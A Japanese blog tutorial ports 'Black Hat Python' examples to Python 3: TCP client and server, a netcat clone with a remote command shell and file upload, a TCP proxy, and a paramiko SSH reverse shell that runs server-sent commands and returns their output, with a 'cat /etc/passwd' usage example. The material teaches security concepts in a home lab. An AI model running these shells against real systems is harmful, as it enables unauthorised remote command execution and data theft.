気まぐれブログ(日記・技術記事・研究のことなど)

気まぐれに更新します.温かい目で見ていただければ...

サイバーセキュリティプログラミング (TCPクライアントからSSH通信プログラムまで)

はじめに

本日はサイバーセキュリティプログラミングの基礎を解説していこうと思います.参考にした本はコチラです.

サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考

サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考

ただし,上記の本はPython 2系で書かれており,Python 3系では動かない部分が多々あります.本記事ではPython 3系でコードを書いていきます.

TCPクライアント

TCPクライアントがTCP通信を行う手順は,(1) ソケットオブジェクトを作成,(2)サーバーへ接続,(3)データの送信,(4)データの受信 となります. 早速コードを書いていきましょう.

import socket

# ターゲットホストの情報
target_host = "192.168.3.8"
target_port = 9999

# ソケットオブジェクトの作成
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# サーバーへ接続
client.connect((target_host, target_port))

# データ送信
client.send(b"I am Tomonori HIRATA")

# データ受信
message = client.recv(4096)

print(message.decode())

注意すべき点は,Python 3系ではデータの送信はバイナリに変換してから実行するということです.ダブルクオーテーションの手前に'b'を付けたり,文字列変数の後にencode()メソッドを使用することでバイナリデータに変換することができます.逆にデータを受信する場合はバイナリで送られてくるので,標準出力する場合はdecode()メソッドを適用して元の文字列に戻しましょう.

TCPサーバー

続いてTCPサーバーの挙動についてです.TCPサーバーは,(1)ソケットオブジェクトを作成,(2)接続を待ち受けるIPアドレスとポート番号の指定(bind),(3)接続の待ち受け(listen),(4)接続されたらスレッドの起動,(5)スレッド動作 というような流れで動いていきます.

import socket
import threading

bind_ip = "192.168.3.7"
bind_port = 9999

# ソケットオブジェクトの作成
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 接続を待ち受けるIPアドレスとポート番号を指定
server.bind((bind_ip, bind_port))

# 接続を待ち受け(接続キューの最大数を5とする)
server.listen(5)

print("[*] Listening on {0}:{1}".format(bind_ip, bind_port))

# クライアントが接続してきたら実行する
def handle_client(client_socket):
    response = client_socket.recv(4096)
    print("[*] Received: {0}".format(response.decode()))

    client_socket.send(b"ACK!!")
    client_socket.close()

while True:
    # 接続を受け入れる
    client, addr = server.accept()
    print("[*] Accepted connection from: {0}:{1}".format(addr[0], addr[1]))

    # スレッドの起動
    client_handler = threading.Thread(target=handle_client, args=(client, ))
    client_handler.start()

Netcatを自作する

PythonでNetcatを自作してみましょう.

import sys
import socket
import getopt
import threading
import subprocess

# グローバル変数の定義
listen             = False
command            = False
upload             = False
execute            = ""
target             = ""
upload_destination = ""
port               = 0

def usage():
    """
    print "BHP Net Tool"
    print
    print "Usage: bhnet.py -t target_host -p port"
    print "-l --listen              - listen on [host]:[port] for"
    print "                           incoming connections"
    print "-e --execute=file_to_run - execute the given file upon"
    print "                           receiving a connection"
    print "-c --command             - initialize a command shell"
    print "-u --upload=destination  - upon receiving connection upload a"
    print "                           file and write to [destination]"
    print
    print
    print "Examples: "
    print "bhnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhnet.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe"
    print "bhnet.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\""
    print "echo 'ABCDEFGHI' | ./bhnet.py -t 192.168.11.12 -p 135"
    """
    print("USAGE!!")
    sys.exit(0)

def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    # コマンドラインオプションの読み込み
    try:
        opts, args = getopt.getopt(
                sys.argv[1:],
                "hle:t:p:cu:",
                ["help", "listen", "execute=", "target=",
                 "port=", "command", "upload="])
    except getopt.GetoptError as err:
        print(str(err))
        usage()

    for o,a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False, "Unhandled Option"

    # 接続を待機する?それとも標準入力からデータを受け取って送信する?
    if not listen and len(target) and port > 0:

        # コマンドラインからの入力を`buffer`に格納する。
        # 入力がこないと処理が継続されないので
        # 標準入力にデータを送らない場合は CTRL-D を入力すること。
        buffer = sys.stdin.read()

        # データ送信
        client_sender(buffer.encode())

    # 接続待機を開始。
    # コマンドラインオプションに応じて、ファイルアップロード、
    # コマンド実行、コマンドシェルの実行を行う。
    if listen:
        server_loop()

def client_sender(buffer):

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 標的ホストへの接続
        client.connect((target, port))

        if len(buffer):
            client.send(buffer)

        while True:
            # 標的ホストからのデータを待機
            recv_len = 1
            response = ""

            while recv_len:
                data     = client.recv(4096).decode()
                recv_len = len(data)
                response+= data

                if recv_len < 4096:
                    break

            print(response)

            # 追加の入力を待機
            buffer = input("")
            buffer += "\n"

            # データの送信
            client.send(buffer.encode())

    except:
        print("[*] Exception! Exiting.")

        # 接続の終了
        client.close()

def server_loop():
    global target

    # 待機するIPアドレスが指定されていない場合は
    # 全てのインタフェースで接続を待機
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target,port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        # クライアントからの新しい接続を処理するスレッドの起動
        client_thread = threading.Thread(
                target=client_handler, args=(client_socket,))
        client_thread.start()



def run_command(command):
    # 文字列の末尾の改行を削除
    command = command.rstrip()

    # コマンドを実行し出力結果を取得
    try:
        output = subprocess.check_output(
                command,stderr=subprocess.STDOUT, shell=True)
    except:
        output = "Failed to execute command.\r\n"

    # 出力結果をクライアントに送信
    return output

def client_handler(client_socket):
    global upload
    global execute
    global command

    # ファイルアップロードを指定されているかどうかの確認
    if len(upload_destination):

        # すべてのデータを読み取り、指定されたファイルにデータを書き込み
        file_buffer = ""

        # 受信データがなくなるまでデータ受信を継続
        while True:
            data = client_socket.recv(1024)

            if len(data) == 0:
                break
            else:
                file_buffer += data

        # 受信したデータをファイルに書き込み
        try:
            file_descriptor = open(upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            # ファイル書き込みの成否を通知
            client_socket.send(
                "Successfully saved file to %s\r\n" % upload_destination)
        except:
            client_socket.send(
                "Failed to save file to %s\r\n" % upload_destination)


    # コマンド実行を指定されているかどうかの確認
    if len(execute):

        # コマンドの実行
        output = run_command(execute)

        client_socket.send(output)


    # コマンドシェルの実行を指定されている場合の処理
    if command:

        # プロンプトの表示
        prompt = "<BHP:#> "
        client_socket.send(prompt.encode())

        while True:

            # 改行(エンターキー)を受け取るまでデータを受信
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += (client_socket.recv(1024)).decode()

            # コマンドの実行結果を取得
            response = run_command(cmd_buffer).decode()
            response += prompt

            # コマンドの実行結果を送信
            client_socket.send(response.encode())

main()

使用方法は以下の通り.

(サーバー)
$ python bhnet.py -l -p 9999 -c

(クライアント)
$ python bhnet.py -t localhost -p 9999

TCPロキシーの構築

TCPロキシーを用いて,二者間の通信を,仲介者を介して実行します.

import sys
import threading
import socket

def server_loop(local_host, local_port, remote_host, remote_port, receive_first):

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        server.bind((local_host, local_port))
    except:
        print("[!!] Failed to listen on {0}:{1}".format(local_host, local_port))
        print("[!!] Check for other listening sockets or correct permissions.")
        sys.exit(0)

    # ローカルホストに対してはサーバーとしての働きを持つ
    print("[*] Listening on {0}:{1}".format(local_host, local_port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()
        print("[==>] Received incoming connection from {0}:{1}".format(addr[0], addr[1]))

        proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first))
        proxy_thread.start()

def main():

    if len(sys.argv[1:]) != 5:
        print("Usage: python proxy.py <local_host> <local_port> <remote_host> <remote_port> <receive_first>")
        sys.exit(0)

    local_host = sys.argv[1]
    local_port = int(sys.argv[2])
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])

    receive_first = sys.argv[5]

    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False

    server_loop(local_host, local_port, remote_host, remote_port, receive_first)

def proxy_handler(client_socket, remote_host, remote_port, receive_first):

    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote_socket.connect((remote_host, remote_port))

    if receive_first:
        remote_buffer = receive_from(remote_socket)
        hexdump(remote_buffer.encode())

        remote_buffer = response_handler(remote_buffer)

        if len(remote_buffer):
            print("[<==] Sending {0} bytes to localhost. ".format(len(remote_buffer)))
            client_socket.send(remote_buffer.encode())

    while True:
        local_buffer = receive_from(client_socket)

        if len(local_buffer):
            print("[==>] Received {0} bytes from localhost".format(len(local_buffer)))
            hexdump(local_buffer.encode())

            # 送信データ処理関数にデータを受け渡し
            local_buffer = request_handler(local_buffer)
            remote_socket.send(local_buffer.encode())
            print("[==>] Sent to remote.")

        remote_buffer = receive_from(remote_socket)

        if len(remote_buffer):
            print("[<==] Received {0} bytes from remote. ".format(len(remote_buffer)))
            hexdump(remote_buffer.encode())

            remote_buffer = response_handler(remote_buffer)
            client_socket.send(remote_buffer.encode())

            print("[<==] Sent to localhost.")

        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            print("[*] No more data. Closing connections.")

            break

def hexdump(src, length=16):
    print("-----HEXDUMP-----")
    print(src.decode())
    print("-----HEXDUMP END-----")


def receive_from(connection):
    buffer = ""

    connection.settimeout(2)

    try:
        while True:
            data = connection.recv(4096).decode()

            if not data:
                break

            buffer += data

    except:
        pass

    return buffer

def request_handler(buffer):
    return buffer

def response_handler(buffer):
    return buffer

main()

以下,実行例

(サーバー側)
$ python tcp_server.py

(プロキシー)
$ python proxy.py 192.168.3.7 10000 192.168.3.18 9999 True

[*] Listening on 192.168.3.7:10000
[==>] Received incoming connection from 192.168.3.8:57680
-----HEXDUMP-----

-----HEXDUMP END-----
[==>] Received 20 bytes from localhost
-----HEXDUMP-----
I am Tomonori HIRATA
-----HEXDUMP END-----
[==>] Sent to remote.
[<==] Received 4 bytes from remote.
-----HEXDUMP-----
ACK!
-----HEXDUMP END-----
[<==] Sent to localhost.
[*] No more data. Closing connections.

(クライアント側)
$ python tcp_client.py

ACK!

Paramikoを用いたSSH通信プログラム

paramikoというライブラリを使用することで,SSH2プロトコルを簡単に扱うことができます.例えば,SSHサーバーに接続して1つだけコマンドを実行するssh_command関数を作成してみましょう.

import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    # SSHクライアントの作成
    client = paramiko.SSHClient()
    # 接続しているSSHサーバーのSSH鍵を受け入れるというポリシーを設定
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    # サーバーに接続
    client.connect(ip, username=user, password=passwd)
    # セッションの確立
    ssh_session = client.get_transport().open_session()
    # コマンドの実行
    if ssh_session.active:
        ssh_session.exec_command(command)
        print(ssh_session.recv(4096).decode().rstrip())
    return

ssh_command('<IP>', '<USER_NAME>', '<PASSWORD>', 'pwd')

続いて,SSHを介して接続先のホストにコマンドを送信して実行できるようにしてみましょう.

(クライアント側)

import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command.encode())
        print(ssh_session.recv(1024).decode())
        while True:
            command = ssh_session.recv(1024).decode()
            #print(command)
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                print(cmd_output.decode())
                ssh_session.send(cmd_output)
            except:
                ssh_session.send(b'INVALID COMMAND')
        client.close()
    return

ssh_command('192.168.3.7', 'justin', 'lovesthepython', 'ClientConnected')

(サーバー側)

import socket
import paramiko
import threading
import sys

host_key = paramiko.RSAKey(filename='test_rsa.key')

class Server (paramiko.ServerInterface):
    def _init_(self):
        self.event = threading.Event()
    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self, username, password):
        if (username == 'justin') and (password == 'lovesthepython'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

server = sys.argv[1]
ssh_port = int(sys.argv[2])

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((server, ssh_port))
    sock.listen(100)
    print("[+] Listening for connection ... ")
    client, addr = sock.accept()
except:
    print("[-] Listen failed ... ")
    sys.exit(1)
print("[+] Got a connection")

try:
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        bhSession.start_server(server=server)
    except:
        print("[-] SSH negotiation failed ... ")
    chan = bhSession.accept(20)
    print("[+] Authenticated!")
    print(chan.recv(1024).decode())
    chan.send(b'Welcome to bh_ssh')
    while True:
        try:
            command = input("Enter command: ").strip('\n')
            if command != 'exit':
                chan.send(command.encode())
                print(chan.recv(1024).decode())
            else:
                chan.send(b'exit')
                print("Exiting")
                bhSession.close()
                raise Exception('exit')
        except:
            bhSession.close()
except:
    print("[-] Caught exception ... ")
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)

こんな感じで対話させることができます.

$ sudo python bh_sshserver.py 192.168.3.7 22
[+] Listening for connection ...
[+] Got a connection
[+] Authenticated!
ClientConnected
Enter command: pwd
/Users/***/Desktop/hacking/***

Enter command: ls
]
bh_sshRcmd.py
bh_sshcmd.py
bh_sshserver.py
bhnet.py
bhnet.txt
hello.txt
proxy.py
sub_bhnet.py
tcp_client.py
tcp_client.py~
tcp_server.py
test_rsa.key

Enter command: cat hello.txt
Hello,***!!


$ sudo python bh_sshRcmd.py
Welcome to bh_ssh
/Users/***/Desktop/hacking/***

]
bh_sshRcmd.py
bh_sshcmd.py
bh_sshserver.py
bhnet.py
bhnet.txt
hello.txt
proxy.py
sub_bhnet.py
tcp_client.py
tcp_client.py~
tcp_server.py
test_rsa.key

Hello***!!

SSHトンネリング

編集中 ...